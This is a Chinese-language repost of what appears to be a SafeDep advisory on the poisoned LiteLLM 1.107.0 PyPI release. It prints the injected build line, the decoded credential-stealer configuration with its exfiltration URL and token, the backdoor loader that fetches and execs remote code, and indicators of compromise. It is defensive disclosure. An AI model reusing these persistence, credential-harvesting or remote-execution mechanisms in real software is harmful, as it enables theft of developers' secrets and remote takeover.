Hacker News AI · 2026/10/21 22:00:26

LiteLLM 1.107.0 遭供应链投毒 植入窃密后门

原标题:Compromised LiteLLM 1.107.0 on PyPI Installs a Credential Stealer and Backdoor
88AI 研判分
核心综述

PyPI 上的 LiteLLM 1.107.0 版本被植入凭证窃取器与远程代码执行后门,影响所有平台。恶意代码在 Python 启动时自动运行,即使未导入该库也会触发,已导致 SSH 密钥、云凭证及 LLM API 密钥泄露。官方已移除该版本,建议立即回退至安全版本并轮换密钥。

报道全文原始报道全文

本文目录18 个章节

Kunal Singh • 2026年10月21日 • 阅读时长约 6 分钟

本页内容

PyPI 上发布的 LiteLLM 1.107.0 版本包含一个凭证窃取器和一个远程代码执行(RCE)后门。所有七个 wheel 包(涵盖 Linux、macOS 和 Windows 平台)都会将这三个文件安装到 site-packages 目录中。只要主机上启动任何 Python 进程,即使该进程从未导入 litellm,这些恶意代码也会运行。上游 GitHub 源代码中并不包含这些文件。PyPI 随后已移除该发布版本。

版本 1.106.2、1.107.0rc1 和 1.107.0rc2 是干净的。1.107.0 所依赖的配套包 litellm-proxy-extras==0.4.110 和 litellm-enterprise==0.1.78 也是干净的。

攻击行为详解

安装 litellm==1.107.0 会在 site-packages 中放置三个文件。Python 每次启动时都会加载其中的两个。

  1. cook.pth 会导入 cook.py,这是一个凭证窃取器。它会收集 SSH 密钥、云凭证、CI/CD 机密、AI 工具令牌、浏览器密码以及 LiteLLM 代理数据库中的 LLM 提供商密钥。它会对数据进行加密,并将其发送至 www.litellm[.]dev。
  2. sitecustomize.py 会启动一个后台守护进程。该守护进程每小时从 GitHub 上的文件中读取服务器地址,再次运行窃取器,并从该服务器下载并执行代码。

植入物如何进入发布版本

1.107.0 源码分发版(sdist)中的 pyproject.toml 在 maturin 构建部分多了一行配置:

pyproject.toml (litellm-1.107.0.tar.gz) 123456

文本
[tool.maturin]
...
python-source = "."
data = "cook"                     # <-- 注入项
python-packages = ["litellm_cli"] # 合法项(上游存在)

TOML 6 lines

maturin 的 data = "cook" 设置会将 cook/ 文件夹复制到 wheel 包中的 litellm-1.107.0.data/purelib/ 目录下。pip 会将该文件夹安装到 site-packages 中。

sdist 中省略了 cook/ 文件夹,因此这一行配置是唯一可见的改动。在 BerriAI/litellm 的任何公开提交中,都不包含 data = "cook" 或 cook/ 文件夹。

wheel 包的 RECORD 文件列出了这三个新增文件:

litellm-1.107.0.dist-info/RECORD 1234

文本
litellm-1.107.0.data/purelib/cook.pth           12 bytes   "import cook"
litellm-1.107.0.data/purelib/cook.py         22252 bytes   exec(zlib.decompress(b64decode(...)))
litellm-1.107.0.data/purelib/sitecustomize.py 25509 bytes  loader/backdoor + embedded stealer

TEXT 4 lines

标签 v1.107.0 指向提交 66c8f5b(UTC 时间 06)。其 pyproject.toml 文件显示版本号为 version = "1.108.0"。SafeDep 通过 blob hash 将每个 sdist 文件与 git 树进行了比对。该 sdist 匹配一个较晚的 main 分支提交 a8113b0(UTC 时间 08),外加五个被修改的文件以及 cook/ 文件夹。

其中四个被修改的文件是 Cargo.toml,它们都增加了一行 readme = "README.md"。合法的 1.106.2 和 rc2 发布版本也包含相同的修改。第五个文件是 pyproject.toml,此处将其与 a8113b0 进行对比:

pyproject.toml (a8113b0 → litellm-1.107.0.tar.gz) 1234567891011

文本
-version = "1.108.0"
+version = "1.107.0"
-    "litellm-proxy-extras==0.4.111",
-    "litellm-enterprise==0.1.79",
+    "litellm-proxy-extras==0.4.110",     # same pins as 1.107.0rc2
+    "litellm-enterprise==0.1.78",
+data = "cook"                            # the injection
 ...
-version = "1.108.0"                      # second version field
+version = "1.107.0"

DIFF 11 lines

此次修改将版本号回退至 1.107.0,并将配套包锁定为 rc2 版本的值。因此,与 rc2 相比,依赖项差异中没有任何异常之处。合法的 1.106.2 sdist 与其标签提交 49943cd 完全一致,除了 Cargo.toml 中的 readme 行之外。

Wheel 包的构建方式

恶意 wheel 包与 BerriAI 正常发布流水线的输出结果相匹配:

  • WHEEL 文件中指定了 maturin 1.9.4,这与合法发布版本中的版本相同。植入文件具有正确的 RECORD 条目,这表明构建后未进行任何编辑。
  • Zip 时间戳显示了独立的本地构建过程:macOS 在 UTC 时间 11,Linux 在 11,Windows 在 11。
  • 在 Windows wheel 包中,所有 2,804 个 .py 文件均使用 CRLF 换行符,包括三个植入文件。Linux wheel 包中没有这种情况。在 Windows 上进行带有换行符转换的 git checkout 会产生这种模式。

没有公开的 GitHub Actions 运行记录用于构建或发布该版本。SafeDep 检查了 UTC 时间 09 到 12 之间的全部 539 次运行。在 UTC 时间 11,即 PyPI 上传后约 10 分钟,litellm-dispatcher[bot] 发布了 GitHub release v1.107.0。1.106.2 也出现了同样的延迟。PyPI 上没有针对 1.107.0、1.106.2 或 rc2 的来源证明(provenance attestations)。

SafeDep 以中等至较高的置信度评估认为,BerriAI 的私有发布流水线是从被攻击者篡改的 git 源构建这些 wheel 包的。攻击者可能利用了被盗用的维护者或机器人凭据、私有分支或镜像,或是流水线所引用的构建源。相比之下,“攻击者使用其自有机器上窃取的 PyPI token”这一假设与现有证据的吻合度较低。只有 BerriAI 的流水线日志才能确认根本原因。

Payload 1:cook.py 中的凭据窃取器

在启动时,Python 会执行 site-packages 目录下每个 .pth 文件中以 import 开头的行。由于 cook.pth 包含 import cook,因此该窃取器会在主机上的每一个 Python 进程中运行:包括应用程序、pip、IDE 语言服务器以及 CI 任务。

cook.py 将约 61 KB 的 Python 代码包裹在一层 exec(zlib.decompress(base64.b64decode('...'))) 中。解码后的代码以如下配置开头:

cook.py (decoded) 12345678910

文本
PC_URL       = 'http://www.litellm.dev/healthcheck'
PC_TOKEN     = 'XWiA8gZNa7NcX2XRoAEb'          # sent as X-Token header
PC_PUBKEY    = '-----BEGIN PUBLIC KEY----- MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvxRBQMVXDXVskKS47haU ...'  # RSA-4096
PC_ONCE_PATH = '/tmp/.pc_once_72129118c59f5636c0bb'
PC_ASYNC     = True                              # runs in a daemon thread
PC_MODULES   = ['sysinfo','netinfo','browser_pw','browser_hist','ssh_keys',
                'shell_hist','cloud_creds','dev_secrets','container_creds',
                'cicd_secrets','ai_devtools','env_vars','db_litellm',
                'cloud_metadata','gpg_keys','tls_privkey']

PYTHON 10 lines

它收集哪些数据

模块目标
sysinfo, netinfo主机名、用户、操作系统、IP 地址、网络设置
browser_pwChromium 保存的密码(使用配置文件主密钥解密,Windows 上为 DPAPI);Firefox 的 logins.json 和 key4.db
browser_hist浏览器历史记录
ssh_keys~/.ssh/*
shell_histbash 和 zsh 历史记录、PowerShell PSReadLine、cmd 历史记录
cloud_creds~/.aws/credentials 和 config、Azure 配置文件和令牌、gcloud 凭据、~/.kube/config、~/.docker/config.json、gh 的 hosts.yml、rclone.conf、~/.netrc
dev_secrets$HOME 下的 .pem、.key、.pfx、.p12、.pk8、.ppk 文件、Composer 的 auth.json、FileZilla 保存的服务器信息
container_credsKubernetes 服务账户令牌
cicd_secretsGitLab runner 的 config.toml、Jenkins 的 initialAdminPassword 和 master.key、.vault-token、Terraform 的 credentials.tfrc.json、Packer 配置
ai_devtoolsClaude Code、Claude Desktop、Cursor、Windsurf、Copilot、VS Code 的 mcp.json、Gemini CLI、Codex 的 auth.json、Continue、Aider、Goose、opencode、Qwen、Crush、Kiro、Zed、Hugging Face 令牌
env_vars自身环境变量以及其他进程通过 /proc/<pid>/environ 暴露的环境变量
db_litellm读取 DATABASE_URL 并导出 LiteLLM_CredentialsTable 和 LiteLLM_ProxyModelTable 表,这些表存储了 LiteLLM 代理的 LLM 提供商 API 密钥
cloud_metadataAWS 实例元数据服务(IMDSv2,随后尝试 v1):实例身份和角色凭据
gpg_keys, tls_privkeyGPG 密钥、TLS 私钥

数据发送方式

  1. 使用随机生成的 AES-256-CBC 密钥加密 JSON 结果,并使用嵌入的公钥通过 RSA-OAEP 加密该密钥。
  2. 将结果打包成 tar.gz 格式(包含 hdr.json、data.bin、key.bin),并通过 POST 请求发送到 www.litellm[.]dev/healthcheck,请求头为 X-Token: XWiA8gZNa7NcX2XRoAEb。
  3. 上传成功后,写入 /tmp/.pc_once_72129118c59f5636c0bb 以确保每台主机仅收集一次数据。同时设置环境变量 PRIVCOLLECT_ACTIVE=1,以避免在同一进程树中重复运行。

Payload 2:sitecustomize.py 中的后门

Python 在启动时会导入 sitecustomize,因此该文件会在每个 Python 进程中执行。

sitecustomize.py 12345

文本
GITHUB_RAW_URL = "https://raw.githubusercontent.com/letters9813/pythonclient-test/main/domain.txt"
CODE_PATH      = "/codepy"
LOOP_INTERVAL  = 3600
LOCK_FILE      = "/tmp/remote_code_loader.lock"

PYTHON 5 lines

  1. 它对 /tmp/remote_code_loader.lock 获取独占锁,确保每台主机仅运行一个守护进程。

  2. 它调用 fork() 和 setsid(),将标准输入和输出重定向到 /dev/null,并将工作目录更改为 /,从而与父进程分离。

  3. 每小时执行以下操作:

    1. 从攻击者的 GitHub 仓库读取 domain.txt,并提取第一个看起来像域名的行,
    2. 运行其内置的窃密程序副本(该副本没有“每主机仅一次”标记),
    3. 下载 http://<domain>/codepy 并使用 exec() 执行。

攻击者可以通过编辑 domain.txt 将守护进程指向新的服务器。每个受感染的主机都会执行该服务器返回的 codepy 内容。

在 UTC 时间 13,GitHub 账户 letters9813 及其仓库返回 404 错误,这发生在版本发布后约两小时。后门现在找不到服务器地址,因此不执行任何操作。在删除之前运行过该守护进程的主机可能已经接收并执行了第二阶段代码。SafeDep 无法恢复服务器地址。

时间线

所有时间均为 2026-10-21 的 UTC 时间。

时间事件
06创建标签 v1.107.0 提交 66c8f5b
08在 main 分支上提交 a8113b0,作为发布源码的基础
10合法的 1.106.2 版本上传至 PyPI
11 至 11构建恶意 1.107.0 wheel 包
11 至 111.107.0 上传至 PyPI(全部 8 个文件)
11litellm-dispatcher[bot] 发布 GitHub release v1.107.0
13观察到:1.107.0 已从 PyPI 移除,letters9813 账户被删除

入侵指标 (IoC)

网络

指标用途
www.litellm[.]dev, hxxp://www.litellm[.]dev/healthcheck接收窃取的数据
HTTP 头 X-Token: XWiA8gZNa7NcX2XRoAEb随每次上传发送
raw.githubusercontent[.]com/letters9813/pythonclient-test/main/domain.txt后门在此读取其服务器地址(账户已删除)
hxxp://<domain>/codepy第二阶段代码下载
Python 进程向 169.254.169.254 发起的请求窃取 AWS 实例凭证

主机

指标含义
site-packages 中的 cook.pth、cook.py、sitecustomize.py已安装植入体(Implant)
/tmp/.pc_once_72129118c59f5636c0bb窃密程序已上传数据
/tmp/remote_code_loader.lock后门守护进程已运行
环境变量 PRIVCOLLECT_ACTIVE=1存在于受感染进程中
分离式 Python 守护进程(父 PID 为 1,独立会话,工作目录为 /)后门循环

文件哈希值 (SHA-256)

文件SHA-256
litellm-1.107.0.tar.gz2befe2a79fb4fbbd9a543b5b40b530c8cffa8771bab22b8fb22b2e4ae3b1f819
litellm-1.107.0-cp310-abi3-manylinux_2_28_x86_64.whl462d0c9f67ca522d9e0e4acd245e90b36ce0d5353604a66bb7c43a1ec4a6fcf7
litellm-1.107.0-cp310-abi3-manylinux_2_28_aarch64.whl668169d35b87bf51324080390b1b1c5ab12bd335cfe5f1a99e3689abd5e02ae6
litellm-1.107.0-cp310-abi3-musllinux_1_2_x86_64.whl1bbce8caa94f01c0aaa0b7ddae51553a8a32e1ce53d96d44fe583272aff7ad00
litellm-1.107.0-cp310-abi3-musllinux_1_2_aarch64.whlc2e32d0ce2548aa662c18bf5001911a79fe5b30cf8357132275add02fdcde054
litellm-1.107.0-cp310-abi3-macosx_10_12_x86_64.whl7598727f209d717041db37f7dca271d3a7d328a279890e0e1d55375729aeb86d
litellm-1.107.0-cp310-abi3-macosx_11_0_arm64.whl0aaf7ba346d41ef2f40390436738b001180d5a1c03aa093f121078a9969d9a1a
litellm-1.107.0-cp310-abi3-win_amd64.whl12d4ccc5c6f8d35cf4f2cf233b7f3e418e863e657d81ff5f5fc9e210005b9484

来自 wheel 包 RECORD 的植入文件:

文件SHA-256 (URL-safe base64)
cook.pthfxkWMucyBwXRVLhSBPGuVGtUOsvX6IYSKbdvUEK5K9s
cook.pyndCjkm-Wo364bPHuIxDZvpMTnMTr7z754u_pUxOQviU
sitecustomize.pyNL7wT-iKydCq4EdWMLFzhoHRW5TyM6yKpG6s9ZaDBfo
  • pypi
  • python
  • malware
  • supply-chain
  • litellm

作者

Kunal Singh

safedep.io

分享

SafeDep 博客最新动态

关注以获取开源安全与工程领域的最新进展和洞察

伪造提交将预安装 Dropper 推入 hugo-paper 和 mevn-cli

攻击者向 hugo-paper 和 mevn-cli 的默认分支推送了伪造提交。在这两个仓库中运行 npm install 或 bun install 会下载并执行一个第二阶段脚本...

ASOS 应用遭黑客攻击:攻击者利用推送通知发送勒索信

攻击者入侵了 ASOS 用于向客户发送消息的平台,并向用户手机推送了一封勒索信。以下是已确认的事实、仅属声称的内容以及客户应采取的措施。

MALFEX 将其 npm 加载器迁移至原生 Windows DLL

MALFEX 包 imgdecode 包含一个原生 Windows 加载器。当从控制台加载时,它会尝试下载、解密 shellcode 并将其注入到 dllhost.exe 中。

tensorlake 0.5.144 npm 包遭劫持,传播 Mini Shai-Hulud 蠕虫

npm 上的 [email protected] 在安装过程中运行了一个 Mini Shai-Hulud 蠕虫。维护者账户通过 GitHub Web 界面提交了该载荷,且官方发布工作流将其发布。

查看所有博客

背景

交付代码。

而非恶意软件。

免费开始使用本地开源工具。随后可扩展为适用于您组织的统一平台。